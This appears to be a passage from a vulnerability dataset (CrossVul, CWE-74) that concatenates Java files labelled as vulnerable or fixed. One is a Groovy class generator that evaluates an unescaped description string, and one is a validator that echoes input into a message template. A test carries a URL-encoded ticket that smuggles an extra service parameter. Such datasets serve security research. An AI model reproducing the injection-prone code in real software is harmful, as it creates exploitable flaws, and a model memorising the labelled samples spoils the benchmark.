import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.annotation.Nullable;
import org.apache.commons.lang.SerializationUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.unbescape.java.JavaEscape;
import com.google.common.collect.Lists;
import io.onedev.server.model.support.inputspec.showcondition.ShowCondition;
import io.onedev.server.util.GroovyUtils;
import io.onedev.server.web.editable.EditableUtils;
import io.onedev.server.web.editable.annotation.Editable;
@Editable
public abstract class InputSpec implements Serializable {
private static final long serialVersionUID = 1L;
private static final Logger logger = LoggerFactory.getLogger(InputSpec.class);
public static final String BOOLEAN = "Checkbox";
public static final String TEXT = "Text";
public static final String DATE = "Date";
public static final String SECRET = "Secret";
public static final String NUMBER = "Number";
public static final String COMMIT = "Commit";
public static final String ENUMERATION = "Enumeration";
public static final String USER = "User";
public static final String GROUP = "Group";
public static final String ISSUE = "Issue";
public static final String BUILD = "Build";
public static final String PULLREQUEST = "Pull request";
private String name;
private String description;
private boolean allowMultiple;
private boolean allowEmpty;
private ShowCondition showCondition;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public boolean isAllowMultiple() {
return allowMultiple;
}
public void setAllowMultiple(boolean allowMultiple) {
this.allowMultiple = allowMultiple;
}
public ShowCondition getShowCondition() {
return showCondition;
}
public void setShowCondition(ShowCondition showCondition) {
this.showCondition = showCondition;
}
public boolean isAllowEmpty() {
return allowEmpty;
}
public void setAllowEmpty(boolean allowEmpty) {
this.allowEmpty = allowEmpty;
}
public List<String> getPossibleValues() {
return Lists.newArrayList();
}
protected String escape(String string) {
String escaped = JavaEscape.escapeJava(string);
// escape $ character since it has special meaning in groovy string
escaped = escaped.replace("$", "\\$");
return escaped;
}
public abstract String getPropertyDef(Map<String, Integer> indexes);
protected String getLiteral(byte[] bytes) {
StringBuffer buffer = new StringBuffer("[");
for (byte eachByte: bytes) {
buffer.append(String.format("%d", eachByte)).append(",");
}
buffer.append("] as byte[]");
return buffer.toString();
}
public void appendField(StringBuffer buffer, int index, String type) {
buffer.append(" private Optional<" + type + "> input" + index + ";\n");
buffer.append("\n");
}
public void appendChoiceProvider(StringBuffer buffer, int index, String annotation) {
buffer.append(" " + annotation + "(\"getInput" + index + "Choices\")\n");
}
public void appendCommonAnnotations(StringBuffer buffer, int index) {
if (description != null) {
buffer.append(" @Editable(name=\"" + escape(name) + "\", description=\"" +
escape(description) + "\", order=" + index + ")\n");
} else {
buffer.append(" @Editable(name=\"" + escape(name) +
"\", order=" + index + ")\n");
}
if (showCondition != null)
buffer.append(" @ShowCondition(\"isInput" + index + "Visible\")\n");
}
private void wrapWithChildContext(StringBuffer buffer, int index, String statement) {
buffer.append(" ComponentContext context = ComponentContext.get();\n");
buffer.append(" if (context != null) {\n");
buffer.append(" ComponentContext childContext = context.getChildContext(\"input" + index + "\");\n");
buffer.append(" if (childContext != null) {\n");
buffer.append(" ComponentContext.push(childContext);\n");
buffer.append(" try {\n");
buffer.append(" " + statement + "\n");
buffer.append(" } finally {\n");
buffer.append(" ComponentContext.pop();\n");
buffer.append(" }\n");
buffer.append(" } else {\n");
buffer.append(" " + statement + "\n");
buffer.append(" }\n");
buffer.append(" } else {\n");
buffer.append(" " + statement + "\n");
buffer.append(" }\n");
}
public void appendMethods(StringBuffer buffer, int index, String type,
@Nullable Serializable choiceProvider, @Nullable Serializable defaultValueProvider) {
String literalBytes = getLiteral(SerializationUtils.serialize(defaultValueProvider));
buffer.append(" public " + type + " getInput" + index + "() {\n");
buffer.append(" if (input" + index + "!=null) {\n");
buffer.append(" return input" + index + ".orNull();\n");
buffer.append(" } else {\n");
if (defaultValueProvider != null) {
wrapWithChildContext(buffer, index, "return SerializationUtils.deserialize(" + literalBytes + ").getDefaultValue();");
} else {
buffer.append(" return null;\n");
}
buffer.append(" }\n");
buffer.append(" }\n");
buffer.append("\n");
buffer.append(" public void setInput" + index + "(" + type + " value) {\n");
buffer.append(" this.input" + index + "=Optional.fromNullable(value);\n");
buffer.append(" }\n");
buffer.append("\n");
if (showCondition != null) {
buffer.append(" private static boolean isInput" + index + "Visible() {\n");
literalBytes = getLiteral(SerializationUtils.serialize(showCondition));
buffer.append(" return SerializationUtils.deserialize(" + literalBytes + ").isVisible();\n");
buffer.append(" }\n");
buffer.append("\n");
}
if (choiceProvider != null) {
buffer.append(" private static List getInput" + index + "Choices() {\n");
literalBytes = getLiteral(SerializationUtils.serialize(choiceProvider));
if (choiceProvider instanceof io.onedev.server.model.support.inputspec.choiceinput.choiceprovider.ChoiceProvider) {
buffer.append(" return new ArrayList(SerializationUtils.deserialize(" + literalBytes + ").getChoices(false).keySet());\n");
} else {
buffer.append(" return SerializationUtils.deserialize(" + literalBytes + ").getChoices(false);\n");
}
buffer.append(" }\n");
buffer.append("\n");
}
}
public static Class<?> defineClass(String className, String description, Collection<? extends InputSpec> inputs) {
StringBuffer buffer = new StringBuffer();
buffer.append("import org.apache.commons.lang3.SerializationUtils;\n");
buffer.append("import com.google.common.base.Optional;\n");
buffer.append("import io.onedev.server.web.editable.annotation.*;\n");
buffer.append("import io.onedev.server.util.validation.annotation.*;\n");
buffer.append("import io.onedev.util.*;\n");
buffer.append("import io.onedev.server.util.*;\n");
buffer.append("import io.onedev.server.util.facade.*;\n");
buffer.append("import java.util.*;\n");
buffer.append("import javax.validation.constraints.*;\n");
buffer.append("import org.hibernate.validator.constraints.*;\n");
buffer.append("\n");
buffer.append("@Editable(name=").append("\"").append(description).append("\")\n");
buffer.append("class " + className + " implements java.io.Serializable {\n");
buffer.append("\n");
buffer.append(" private static final long serialVersionUID = 1L;\n");
buffer.append("\n");
Map<String, Integer> indexes = new HashMap<>();
int index = 1;
for (InputSpec input: inputs)
indexes.put(input.getName(), index++);
for (InputSpec input: inputs)
buffer.append(input.getPropertyDef(indexes));
buffer.append("}\n");
buffer.append("return " + className + ";\n");
logger.trace("Class definition script:\n" + buffer.toString());
return (Class<?>) GroovyUtils.evalScript(buffer.toString(), new HashMap<>());
}
public abstract List<String> convertToStrings(@Nullable Object object);
/**
* Convert list of strings to object
*
* @param strings
* list of strings
* @return
* converted object
*/
@Nullable
public abstract Object convertToObject(List<String> strings);
public long getOrdinal(String fieldValue) {
return -1;
}
public String getType() {
return EditableUtils.getDisplayName(getClass());
}
public boolean checkListElements(Object value, Class<?> elementClass) {
if (value instanceof List) {
for (Object element: (List<?>)value) {
if (element == null || element.getClass() != elementClass)
return false;
}
return true;
} else {
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1898_0
|
crossvul-java_data_bad_4390_3
|
package com.browserup.bup.rest.validation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import javax.validation.Constraint;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import javax.validation.Payload;
import javax.ws.rs.core.Context;
import com.browserup.bup.proxy.ProxyManager;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = { PortWithExistingProxyConstraint.PortWithExistingProxyConstraintValidator.class })
public @interface PortWithExistingProxyConstraint {
String message() default "";
String paramName() default "port";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
class PortWithExistingProxyConstraintValidator
implements ConstraintValidator<PortWithExistingProxyConstraint, Integer> {
private static final Logger LOG = LoggerFactory.getLogger(PortWithExistingProxyConstraintValidator.class);
private static final String PARAM_NAME = "proxy port";
private final ProxyManager proxyManager;
public PortWithExistingProxyConstraintValidator(@Context ProxyManager proxyManager) {
this.proxyManager = proxyManager;
}
@Override
public void initialize(PortWithExistingProxyConstraint constraintAnnotation) {
}
@Override
public boolean isValid(Integer value, ConstraintValidatorContext context) {
if (proxyManager.get(value) != null) {
return true;
}
String errorMessage = String.format("No proxy server found for specified port %d", value);
LOG.warn(errorMessage);
context.buildConstraintViolationWithTemplate(errorMessage).addPropertyNode(PARAM_NAME).addConstraintViolation();
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4390_3
|
crossvul-java_data_good_2195_2
|
/*
* Licensed to Jasig under one or more contributor license
* agreements. See the NOTICE file distributed with this work
* for additional information regarding copyright ownership.
* Jasig licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a
* copy of the License at the following location:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.jasig.cas.client.validation;
import static org.junit.Assert.*;
import java.io.UnsupportedEncodingException;
import org.jasig.cas.client.PublicTestHttpServer;
import org.junit.Before;
import org.junit.Test;
/**
* Test cases for the {@link Cas10TicketValidator}.
*
* @author Scott Battaglia
* @version $Revision: 11731 $ $Date: 2007-09-27 11:27:21 -0400 (Wed, 27 Sep 2007) $
* @since 3.0
*/
public final class Cas10TicketValidatorTests extends AbstractTicketValidatorTests {
private static final PublicTestHttpServer server = PublicTestHttpServer.instance(8090);
private Cas10TicketValidator ticketValidator;
public Cas10TicketValidatorTests() {
super();
}
/*@AfterClass
public static void classCleanUp() {
server.shutdown();
} */
@Before
public void setUp() throws Exception {
this.ticketValidator = new Cas10TicketValidator(CONST_CAS_SERVER_URL_PREFIX + "8090");
}
@Test
public void testNoResponse() throws Exception {
server.content = "no\n\n".getBytes(server.encoding);
try {
this.ticketValidator.validate("testTicket", "myService");
fail("ValidationException expected.");
} catch (final TicketValidationException e) {
// expected
}
}
@Test
public void testYesResponse() throws TicketValidationException, UnsupportedEncodingException {
server.content = "yes\nusername\n\n".getBytes(server.encoding);
final Assertion assertion = this.ticketValidator.validate("testTicket", "myService");
assertEquals(CONST_USERNAME, assertion.getPrincipal().getName());
}
@Test
public void testBadResponse() throws UnsupportedEncodingException {
server.content = "falalala\n\n".getBytes(server.encoding);
try {
this.ticketValidator.validate("testTicket", "myService");
fail("ValidationException expected.");
} catch (final TicketValidationException e) {
// expected
}
}
@Test
public void urlEncodedValues() {
final String ticket = "ST-1-owKEOtYJjg77iHcCQpkl-cas01.example.org%26%73%65%72%76%69%63%65%3d%68%74%74%70%25%33%41%25%32%46%25%32%46%31%32%37%2e%30%2e%30%2e%31%25%32%46%62%6f%72%69%6e%67%25%32%46%23";
final String service = "foobar";
final String url = this.ticketValidator.constructValidationUrl(ticket, service);
final String encodedValue = this.ticketValidator.encodeUrl(ticket);
assertTrue(url.contains(encodedValue));
assertFalse(url.contains(ticket));
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_2195_2
|
crossvul-java_data_good_4390_2
|
package com.browserup.bup.rest.validation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.util.regex.Pattern;
import javax.validation.Constraint;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import javax.validation.Payload;
import com.browserup.bup.rest.validation.util.MessageSanitizer;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = { PatternConstraint.PatternValidator.class })
public @interface PatternConstraint {
String message() default "";
String paramName() default "";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
class PatternValidator implements ConstraintValidator<PatternConstraint, String> {
private static final Logger LOG = LoggerFactory.getLogger(PatternValidator.class);
@Override
public void initialize(PatternConstraint constraintAnnotation) {
}
@Override
public boolean isValid(String value, ConstraintValidatorContext context) {
if (StringUtils.isEmpty(value)) {
return true;
}
try {
Pattern.compile(value);
return true;
} catch (Exception ex) {
String escapedValue = MessageSanitizer.escape(value);
String errorMessage = String.format("URL parameter '%s' is not a valid regexp", escapedValue);
LOG.warn(errorMessage);
context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
}
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_4390_2
|
crossvul-java_data_good_2195_0
|
/*
* Licensed to Jasig under one or more contributor license
* agreements. See the NOTICE file distributed with this work
* for additional information regarding copyright ownership.
* Jasig licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a
* copy of the License at the following location:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.jasig.cas.client.validation;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;
import org.jasig.cas.client.ssl.HttpURLConnectionFactory;
import org.jasig.cas.client.ssl.HttpsURLConnectionFactory;
import org.jasig.cas.client.util.CommonUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* Abstract validator implementation for tickets that must be validated against a server.
*
* @author Scott Battaglia
* @since 3.1
*/
public abstract class AbstractUrlBasedTicketValidator implements TicketValidator {
protected final Logger logger = LoggerFactory.getLogger(getClass());
/**
* URLConnection factory instance to use when making validation requests to the CAS server.
* Defaults to {@link HttpsURLConnectionFactory}
*/
private HttpURLConnectionFactory urlConnectionFactory = new HttpsURLConnectionFactory();
/**
* Prefix for the CAS server. Should be everything up to the url endpoint, including the /.
*
* i.e. https://cas.rutgers.edu/
*/
private final String casServerUrlPrefix;
/**
* Whether the request include a renew or not.
*/
private boolean renew;
/**
* A map containing custom parameters to pass to the validation url.
*/
private Map<String, String> customParameters;
private String encoding;
/**
* Constructs a new TicketValidator with the casServerUrlPrefix.
*
* @param casServerUrlPrefix the location of the CAS server.
*/
protected AbstractUrlBasedTicketValidator(final String casServerUrlPrefix) {
this.casServerUrlPrefix = casServerUrlPrefix;
CommonUtils.assertNotNull(this.casServerUrlPrefix, "casServerUrlPrefix cannot be null.");
}
/**
* Template method for ticket validators that need to provide additional parameters to the validation url.
*
* @param urlParameters the map containing the parameters.
*/
protected void populateUrlAttributeMap(final Map<String, String> urlParameters) {
// nothing to do
}
/**
* The endpoint of the validation URL. Should be relative (i.e. not start with a "/"). I.e. validate or serviceValidate.
* @return the endpoint of the validation URL.
*/
protected abstract String getUrlSuffix();
/**
* Disable XML Schema validation. Note, setting this to true may not be reversable. Defaults to false. Setting it to false
* after setting it to true may not have any affect.
*
* @param disabled whether to disable or not.
*/
protected abstract void setDisableXmlSchemaValidation(boolean disabled);
/**
* Constructs the URL to send the validation request to.
*
* @param ticket the ticket to be validated.
* @param serviceUrl the service identifier.
* @return the fully constructed URL.
*/
protected final String constructValidationUrl(final String ticket, final String serviceUrl) {
final Map<String, String> urlParameters = new HashMap<String, String>();
logger.debug("Placing URL parameters in map.");
urlParameters.put("ticket", ticket);
urlParameters.put("service", serviceUrl);
if (this.renew) {
urlParameters.put("renew", "true");
}
logger.debug("Calling template URL attribute map.");
populateUrlAttributeMap(urlParameters);
logger.debug("Loading custom parameters from configuration.");
if (this.customParameters != null) {
urlParameters.putAll(this.customParameters);
}
final String suffix = getUrlSuffix();
final StringBuilder buffer = new StringBuilder(urlParameters.size() * 10 + this.casServerUrlPrefix.length()
+ suffix.length() + 1);
int i = 0;
buffer.append(this.casServerUrlPrefix);
if (!this.casServerUrlPrefix.endsWith("/")) {
buffer.append("/");
}
buffer.append(suffix);
for (Map.Entry<String, String> entry : urlParameters.entrySet()) {
final String key = entry.getKey();
final String value = entry.getValue();
if (value != null) {
buffer.append(i++ == 0 ? "?" : "&");
buffer.append(key);
buffer.append("=");
final String encodedValue = encodeUrl(value);
buffer.append(encodedValue);
}
}
return buffer.toString();
}
/**
* Encodes a URL using the URLEncoder format.
*
* @param url the url to encode.
* @return the encoded url, or the original url if "UTF-8" character encoding could not be found.
*/
protected final String encodeUrl(final String url) {
if (url == null) {
return null;
}
try {
return URLEncoder.encode(url, "UTF-8");
} catch (final UnsupportedEncodingException e) {
return url;
}
}
/**
* Parses the response from the server into a CAS Assertion.
*
* @param response the response from the server, in any format.
* @return the CAS assertion if one could be parsed from the response.
* @throws TicketValidationException if an Assertion could not be created.
*
*/
protected abstract Assertion parseResponseFromServer(final String response) throws TicketValidationException;
/**
* Contacts the CAS Server to retrieve the response for the ticket validation.
*
* @param validationUrl the url to send the validation request to.
* @param ticket the ticket to validate.
* @return the response from the CAS server.
*/
protected abstract String retrieveResponseFromServer(URL validationUrl, String ticket);
public final Assertion validate(final String ticket, final String service) throws TicketValidationException {
final String validationUrl = constructValidationUrl(ticket, service);
logger.debug("Constructing validation url: {}", validationUrl);
try {
logger.debug("Retrieving response from server.");
final String serverResponse = retrieveResponseFromServer(new URL(validationUrl), ticket);
if (serverResponse == null) {
throw new TicketValidationException("The CAS server returned no response.");
}
logger.debug("Server response: {}", serverResponse);
return parseResponseFromServer(serverResponse);
} catch (final MalformedURLException e) {
throw new TicketValidationException(e);
}
}
public final void setRenew(final boolean renew) {
this.renew = renew;
}
public final void setCustomParameters(final Map<String, String> customParameters) {
this.customParameters = customParameters;
}
public final void setEncoding(final String encoding) {
this.encoding = encoding;
}
protected final String getEncoding() {
return this.encoding;
}
protected final boolean isRenew() {
return this.renew;
}
protected final String getCasServerUrlPrefix() {
return this.casServerUrlPrefix;
}
protected final Map<String, String> getCustomParameters() {
return this.customParameters;
}
protected HttpURLConnectionFactory getURLConnectionFactory() {
return this.urlConnectionFactory;
}
public void setURLConnectionFactory(final HttpURLConnectionFactory urlConnectionFactory) {
this.urlConnectionFactory = urlConnectionFactory;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_2195_0
|
crossvul-java_data_good_1112_2
|
/*
* Copyright 2016 LINE Corporation
*
* LINE Corporation licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
/*
* Copyright 2014 The Netty Project
*
* The Netty Project licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
package com.linecorp.armeria.internal;
import static com.google.common.collect.ImmutableSet.toImmutableSet;
import static io.netty.handler.codec.http.HttpUtil.isAsteriskForm;
import static io.netty.handler.codec.http.HttpUtil.isOriginForm;
import static io.netty.handler.codec.http2.Http2Error.PROTOCOL_ERROR;
import static io.netty.handler.codec.http2.Http2Exception.streamError;
import static io.netty.util.AsciiString.EMPTY_STRING;
import static io.netty.util.ByteProcessor.FIND_COMMA;
import static io.netty.util.internal.StringUtil.decodeHexNibble;
import static io.netty.util.internal.StringUtil.isNullOrEmpty;
import static io.netty.util.internal.StringUtil.length;
import static java.util.Objects.requireNonNull;
import java.net.InetSocketAddress;
import java.net.URI;
import java.net.URISyntaxException;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.util.Iterator;
import java.util.List;
import java.util.Map.Entry;
import java.util.Set;
import java.util.StringJoiner;
import java.util.function.BiConsumer;
import javax.annotation.Nullable;
import com.github.benmanes.caffeine.cache.Caffeine;
import com.github.benmanes.caffeine.cache.LoadingCache;
import com.google.common.annotations.VisibleForTesting;
import com.google.common.base.Ascii;
import com.google.common.base.Splitter;
import com.google.common.base.Strings;
import com.linecorp.armeria.common.Flags;
import com.linecorp.armeria.common.HttpData;
import com.linecorp.armeria.common.HttpHeaderNames;
import com.linecorp.armeria.common.HttpHeaders;
import com.linecorp.armeria.common.HttpHeadersBuilder;
import com.linecorp.armeria.common.HttpMethod;
import com.linecorp.armeria.common.HttpStatus;
import com.linecorp.armeria.common.RequestHeaders;
import com.linecorp.armeria.common.RequestHeadersBuilder;
import com.linecorp.armeria.common.ResponseHeaders;
import com.linecorp.armeria.common.ResponseHeadersBuilder;
import com.linecorp.armeria.server.ServerConfig;
import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.DefaultHeaders;
import io.netty.handler.codec.UnsupportedValueConverter;
import io.netty.handler.codec.http.HttpHeaderValues;
import io.netty.handler.codec.http.HttpRequest;
import io.netty.handler.codec.http.HttpResponse;
import io.netty.handler.codec.http.HttpUtil;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.handler.codec.http2.DefaultHttp2Headers;
import io.netty.handler.codec.http2.Http2Exception;
import io.netty.handler.codec.http2.Http2Headers;
import io.netty.handler.codec.http2.HttpConversionUtil;
import io.netty.handler.codec.http2.HttpConversionUtil.ExtensionHeaderNames;
import io.netty.util.AsciiString;
import io.netty.util.HashingStrategy;
import io.netty.util.internal.StringUtil;
/**
* Provides various utility functions for internal use related with HTTP.
*
* <p>The conversion between HTTP/1 and HTTP/2 has been forked from Netty's {@link HttpConversionUtil}.
*/
public final class ArmeriaHttpUtil {
// Forked from Netty 4.1.34 at 4921f62c8ab8205fd222439dcd1811760b05daf1
/**
* The default case-insensitive {@link AsciiString} hasher and comparator for HTTP/2 headers.
*/
private static final HashingStrategy<AsciiString> HTTP2_HEADER_NAME_HASHER =
new HashingStrategy<AsciiString>() {
@Override
public int hashCode(AsciiString o) {
return o.hashCode();
}
@Override
public boolean equals(AsciiString a, AsciiString b) {
return a.contentEqualsIgnoreCase(b);
}
};
/**
* The default HTTP content-type charset.
* See https://tools.ietf.org/html/rfc2616#section-3.7.1
*/
public static final Charset HTTP_DEFAULT_CONTENT_CHARSET = StandardCharsets.ISO_8859_1;
/**
* The old {@code "keep-alive"} header which has been superceded by {@code "connection"}.
*/
public static final AsciiString HEADER_NAME_KEEP_ALIVE = AsciiString.cached("keep-alive");
/**
* The old {@code "proxy-connection"} header which has been superceded by {@code "connection"}.
*/
public static final AsciiString HEADER_NAME_PROXY_CONNECTION = AsciiString.cached("proxy-connection");
private static final URI ROOT = URI.create("/");
/**
* The set of headers that should not be directly copied when converting headers from HTTP/1 to HTTP/2.
*/
private static final CharSequenceMap HTTP_TO_HTTP2_HEADER_BLACKLIST = new CharSequenceMap();
/**
* The set of headers that should not be directly copied when converting headers from HTTP/2 to HTTP/1.
*/
private static final CharSequenceMap HTTP2_TO_HTTP_HEADER_BLACKLIST = new CharSequenceMap();
/**
* The set of headers that must not be directly copied when converting trailers.
*/
private static final CharSequenceMap HTTP_TRAILER_BLACKLIST = new CharSequenceMap();
static {
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.CONNECTION, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HEADER_NAME_KEEP_ALIVE, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HEADER_NAME_PROXY_CONNECTION, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.TRANSFER_ENCODING, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.HOST, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.UPGRADE, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(ExtensionHeaderNames.STREAM_ID.text(), EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(ExtensionHeaderNames.SCHEME.text(), EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(ExtensionHeaderNames.PATH.text(), EMPTY_STRING);
// https://tools.ietf.org/html/rfc7540#section-8.1.2.3
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.AUTHORITY, EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.METHOD, EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.PATH, EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.SCHEME, EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.STATUS, EMPTY_STRING);
// https://tools.ietf.org/html/rfc7540#section-8.1
// The "chunked" transfer encoding defined in Section 4.1 of [RFC7230] MUST NOT be used in HTTP/2.
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.TRANSFER_ENCODING, EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(ExtensionHeaderNames.STREAM_ID.text(), EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(ExtensionHeaderNames.SCHEME.text(), EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(ExtensionHeaderNames.PATH.text(), EMPTY_STRING);
// https://tools.ietf.org/html/rfc7230#section-4.1.2
// https://tools.ietf.org/html/rfc7540#section-8.1
// A sender MUST NOT generate a trailer that contains a field necessary for message framing:
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.TRANSFER_ENCODING, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.CONTENT_LENGTH, EMPTY_STRING);
// for request modifiers:
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.CACHE_CONTROL, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.EXPECT, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.HOST, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.MAX_FORWARDS, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.PRAGMA, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.RANGE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.TE, EMPTY_STRING);
// for authentication:
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.WWW_AUTHENTICATE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.AUTHORIZATION, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.PROXY_AUTHENTICATE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.PROXY_AUTHORIZATION, EMPTY_STRING);
// for response control data:
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.DATE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.LOCATION, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.RETRY_AFTER, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.VARY, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.WARNING, EMPTY_STRING);
// or for determining how to process the payload:
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.CONTENT_ENCODING, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.CONTENT_TYPE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.CONTENT_RANGE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.TRAILER, EMPTY_STRING);
}
/**
* Translations from HTTP/2 header name to the HTTP/1.x equivalent. Currently, we expect these headers to
* only allow a single value in the request. If adding headers that can potentially have multiple values,
* please check the usage in code accordingly.
*/
private static final CharSequenceMap REQUEST_HEADER_TRANSLATIONS = new CharSequenceMap();
private static final CharSequenceMap RESPONSE_HEADER_TRANSLATIONS = new CharSequenceMap();
static {
RESPONSE_HEADER_TRANSLATIONS.add(Http2Headers.PseudoHeaderName.AUTHORITY.value(),
HttpHeaderNames.HOST);
REQUEST_HEADER_TRANSLATIONS.add(RESPONSE_HEADER_TRANSLATIONS);
}
/**
* <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.3">rfc7540, 8.1.2.3</a> states the path must not
* be empty, and instead should be {@code /}.
*/
private static final String EMPTY_REQUEST_PATH = "/";
private static final Splitter COOKIE_SPLITTER = Splitter.on(';').trimResults().omitEmptyStrings();
private static final String COOKIE_SEPARATOR = "; ";
@Nullable
private static final LoadingCache<AsciiString, String> HEADER_VALUE_CACHE =
Flags.headerValueCacheSpec().map(ArmeriaHttpUtil::buildCache).orElse(null);
private static final Set<AsciiString> CACHED_HEADERS = Flags.cachedHeaders().stream().map(AsciiString::of)
.collect(toImmutableSet());
private static LoadingCache<AsciiString, String> buildCache(String spec) {
return Caffeine.from(spec).build(AsciiString::toString);
}
/**
* Concatenates two path strings.
*/
public static String concatPaths(@Nullable String path1, @Nullable String path2) {
path2 = path2 == null ? "" : path2;
if (path1 == null || path1.isEmpty() || EMPTY_REQUEST_PATH.equals(path1)) {
if (path2.isEmpty()) {
return EMPTY_REQUEST_PATH;
}
if (path2.charAt(0) == '/') {
return path2; // Most requests will land here.
}
return '/' + path2;
}
// At this point, we are sure path1 is neither empty nor null.
if (path2.isEmpty()) {
// Only path1 is non-empty. No need to concatenate.
return path1;
}
if (path1.charAt(path1.length() - 1) == '/') {
if (path2.charAt(0) == '/') {
// path1 ends with '/' and path2 starts with '/'.
// Avoid double-slash by stripping the first slash of path2.
return new StringBuilder(path1.length() + path2.length() - 1)
.append(path1).append(path2, 1, path2.length()).toString();
}
